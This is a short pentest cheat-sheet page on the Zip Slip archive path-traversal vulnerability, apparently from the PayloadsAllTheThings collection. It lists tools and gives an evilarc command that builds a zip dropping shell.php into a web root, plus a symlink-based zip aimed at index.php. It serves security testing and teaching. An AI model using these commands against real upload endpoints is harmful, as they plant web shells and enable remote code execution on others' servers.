PayloadsAllTheThings/Zip Slip

Zip Slip

The vulnerability is exploited using a specially crafted archive that holds directory traversal filenames (e.g. ../../shell.php). The Zip Slip vulnerability can affect numerous archive formats, including tar, jar, war, cpio, apk, rar and 7z. The attacker can then overwrite executable files and either invoke them remotely or wait for the system or user to call them, thus achieving remote command execution on the victim’s machine.

Summary

• Tools
• Methodology
  • Detection
  • Basic Exploit
• Additional Notes

Tools

• ptoomey3/evilarc - Create tar/zip archives that can exploit directory traversal vulnerabilities
• usdAG/slipit - Utility for creating ZipSlip archives

Methodology

Detection

Any ZIP upload page on the application.

Basic Exploit

Using ptoomey3/evilarc:

python evilarc.py shell.php -o unix -f shell.zip -p var/www/html/ -d 15

Creating a ZIP archive containing a symbolic link:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt

Additional Notes

For affected libraries and projects, visit snyk/zip-slip-vulnerability

References

• Zip Slip - Snyk - June 5, 2018
• Zip Slip Vulnerability - Snyk - April 15, 2018